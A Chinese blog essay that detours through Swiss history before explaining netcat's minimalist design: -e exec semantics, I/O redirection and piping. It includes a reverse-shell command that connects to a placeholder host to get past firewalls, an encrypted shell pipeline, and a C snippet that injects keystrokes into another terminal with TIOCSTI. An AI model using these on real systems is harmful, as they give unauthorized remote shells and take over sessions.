这是一个聒噪的夜晚,如果要给出个原因,可能是因为虽然我觉得西班牙不纯粹,但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后,我觉得该玩一下素有网络瑞士军刀之称谓的netcat了。虽然瑞士军刀和netcat除了在小而精方面之外并没有必然的联系,但是我还是想扯一通我所了解的瑞士,博客嘛,不是论文,不是测试报告,发散一点没有问题,并且,我觉得将来,跨界将是一个必然的趋势,拥有跨界的能力也是一个必然的优势。
瑞士是一个没有历史的国家,它完全就是1848年的政治妥协的结果,这也说明了为什么即便是纳粹德国也认可它永久中立国的地位,但是并不意味着生活在这片土地的民族没有历史,自凯撒时代以远,这里就生活着自由的民族,罗马化时代,它处在高卢和平氛围之下自我发展,之后它的历史就是一部融合,分离,抗争与中立的历史了,但是不可否认的是,这片土地以及这片土地上的人们在纷乱的中世纪大领主,国王,神罗皇帝,教皇,主教,自治市...之间的激烈混战中存活了下来,并没有变成废墟,直到现在,这里依旧是实际上最富裕的地区之一,看看地图就知道,和比利时,荷兰不同,瑞士处在一个大国的包围圈中,法国,德国,意大利,奥地利四强构成了瑞士的邻国。从它的语言上可以看出来它的历史,德语,法语,意大利语(为什么没有奥地利语呢?因为奥地利大部分人说德语,神罗后遗症),这种地位正恰恰符合欧洲均势原则,所以瑞士反而可以毫发未损地作为中立国躲过N次浩劫,正是欧洲均势原则,为瑞士这样的国家创造了一个稳定的外部环境,它可以将设计精细化,可以不为外部压力而妥协,瑞士军刀就是在这种环境下打造的,当然,还有手表。但是如果再来点别的什么就更够味儿了。
什么呢?那就是北欧基因。我要是说是北欧基因促成了Linux,你信吗?但不管怎样,北欧基因确实起了作用。北欧人,一个纯粹的海洋民族的后裔,一个和罗马帝国无关的民族的后裔,挣脱了欧洲传统的羁绊,远离了历史遗留的纷争,他们生活在一个童话和神话的世界,驾驭着深不可测的海洋,自由摇摆着灵活和自由以及规则的原始冲动,这也许是海洋民族的最大特质。
瑞士军刀,一个带有北欧基因的超级小工具,符合其外在自洽内部发散的哲学,怎么形容它的优美都不过分,北欧的基因表现型,加上小而精的追求,正是这种特质给瑞士军刀营造了和Linux相同的氛围......当然物尽所用并不意味着它是万能的,你不能指望用它来割断起重机的钢丝绳,也不要幻想它能撬起一辆卡车,事实上,这些功能的缺失却正是瑞士军刀的优美之处,即它不是大而全,而是小而精,有时候,小而精的哲学确实能取胜。评价一个工具的标准并不是它能做什么,而是它能多么简单地做到它声称可以做的事。手里拿着一个瑞士军刀,你可以省去带很多东西,事实上任何小工具都可以内置其中,比如温度计,指南针,剪刀,起子,螺丝刀,U盘,电表,牙签,绕线圈...设计的精妙之处在于,如何把这些东西放在一个有限的空间中,以及如何不被人们误用这些功能,简单的方式就是每个小工具只完美实现一个功能。好吧,这就是瑞士军刀的全部,下面就是netcat了。
netcat,很小很小,并且是真的小,而不是表现的小,它不像Linux内核那样,有人声称它可以被裁减到不到xk,但是你知道这个裁减的人要付出多大的心血吗?如果换一个刚毕业不久辛苦求得一份工作的人来裁减,他可能只是大学期间看过一些代码,那他要加多少班啊。好东西不在于它能被裁到多小,而是在于它真的不能再小了。netcat能小到什么程度呢?实际上它仅仅提供了一个socket IO通道而已,但别看它自带的这么小的功能集合,甚至都不能称之为集合,它却把扩展的范围提升到了你的想象力所及的范围,对于不善于思考的人来讲,它也许只是一个telnet一样的程序,但是对于善于思考的人来讲,它可以构建一个安全的远程shell。你想过用它来构建一个SSL通道吗?
在开始我的探索之前,首先简要概览一下可以从网上搜到的netcat的功能,我这里就不再重复了,它的功能点包括但不限于:探测端口是否开启,端口扫描,远程拷贝文件,远程拷贝目录,加密传输数据,远程执行shell,反向远程shell...为什么如此小的netcat能完成这么多的功能呢?
原因在于,它只提供了最小集,即一个IO通道而已,至于说如何构建数据,那不是它的职责,netcat并不假设数据的任何格式,对数据没有任何约束,这一点和telnet不同,虽然telnet也是一个稍微通用些的TCP测试程序,但是对于数据传输它有很多格式规定和假设,毕竟它最开始就是为远程登录设计的,事实上上述的功能几乎都不是netcat完成的,netcat只是把数据传输到对端而已,仅此而已。这是个创举!试想,到底是谁规定一个远程的telnet 23或者ssh必须是TCP的客户端主动发起连接TCP服务端呢?即到底凭什么sshd要运行在TCP服务端呢?事实上,没有人规定,只是一个远程登录而已,但就是这个实现上的默认行为,导致了很多远程登录无法进行,因为这些远程登录是从外网到内网的,而很多防火墙都不允许从外到内的主动访问。使用netcat可以做到这一点,在内网运行一个netcat客户端,在外网运行netcat服务端,然后让/bin/bash覆盖掉netcat即可,这就是创举所在。我来说下why。
如果你执行一个netcat -e $pro,那么在连接成功后,你以为netcat会像大多数程序一样调用fork/exec来执行pro吗?很多人都会这么认为,因为这是UNIX传统的标准做法,但是netcat没有这么做,而是直接在当前的netcat进程exec一个pro,这太猛了,当前的netcat就此消失被pro覆盖,那么接下来怎么办?谁来进行主控?事实上,netcat就此就把控制权完全交给了pro,在交接之前,把STDIN,STDOUT,STDERR重定向到自己的socket,仅此而已,netcat留下的就是一个socket IO通道,接下来的pro程序的STDIN,STDOUT,STDERR就是socket了,除此之外,netcat没有留下任何痕迹,在执行netcat 1.2.3.4 1234 -e /bin/bash的时候,言外之意就好像在执行/bin/bash socketstdin socketstdout...只可惜UNIX哲学不允许/bin/bash这样的程序和socket有任何关联,那么只好利用另外一个小程序和它组合从而在网络上模拟本地IO了,netcat在-e参数下除了干这个,没有任何毒副作用。如果你不想完全将STDIN,STDOUT,STDERR都重定向,比如你只想重定向STDIN,那么你就可以将|,>,<等符号和netcat组合,比如netcat -l -p 1234 <./transfile,cat transfile2 |netcat 127.0.0.1 2234等,在这种情况下,netcat本身还在,并没有在-e参数下那样消失,但是它除了做IO之外,什么都不会多做。瑞士军刀般的多样化功能就是这么来的,是的,一切都在于你的想象力,你再也不能说,这个功能或者那个功能netcat没有提供,不能这样说,应该说你自己没有想到它能怎么用。如果让我写netcat的手册,我就写一句话:它提供且仅仅提供一个TCP或者UDP网络通道,它能实现所有使用TCP或者UDP协议的的网络功能。
我想实现一个远程执行命令的机制,不想编程,也不想用ssh,怎么办呢?使用netcat很好办,首先它可以实现一个DH密钥交换,然后加密要传输的数据,然后解密,即兴创建一个shell,执行命令后返回结果,加密返回,这些都不在话下。如果你想远程获得一个加密的shell,就需要做一些工作了,要么你实现一个自环管道,即命令序列的最后一个的标准输出定向到第一个命令的标准输入,即netcat 1.2.3.4 1234|decryto|/bin/bash|[email protected],最后的@意味着encryto的标准输出定向到netcat的标准输入,即socket,如果不想这么做,那就你就用下面的代码序列劫持任何一个已经处在tty上运行的shell然后执行命令后捕获返回值返回:
int fd = open("/dev/pts/0", O_RDWR); ioctl(fd, TIOCSTI, "l "); ioctl(fd, TIOCSTI, "s "); ioctl(fd, TIOCSTI, "\n ");
但是不管你怎么做,千万不要修改netcat,如果你真的想修改它,那还不如自己写一个满足自己需求的呢,因为netcat没什么好改的,你就把它当成下面的程序即可:
socket; listen accept //注意,没有多处理机制 loop: read; write; loop;
记住,用已有的小工具构建一个大功能是一种艺术,netcat本身不是瑞士军刀,它更像瑞士军刀的刀柄和刀鞘,可以容纳几乎所有的工具,小即是多,关键在包容,大的包容性,自然约束是最少的。netcat完全符合了UNIX的哲学。
在网络编程工具上有没有瑞士军刀呢?我认为有,那就是OpenSSL的BIO机制,它抽象了IO过程,和netcat重定向了IO过程类似。如果说netcat在网络环境模拟了本机环境的话,那么BIO则可以在本机模拟网络环境,就OpenVPN而言,数据是直接写到BIO的,而不是直接写到socket的,这个和netcat的过程恰恰相反,在没有网络的环境下,想要调试网络程序,那么BIO就是利器了。
早上六点多,西班牙已经输了一段时间,我本不是狂热的球迷,就是跟下风而已,据说明天的意大利VS英格兰会很精彩。
网络工具的瑞士军刀netcat,布布扣,bubuko.com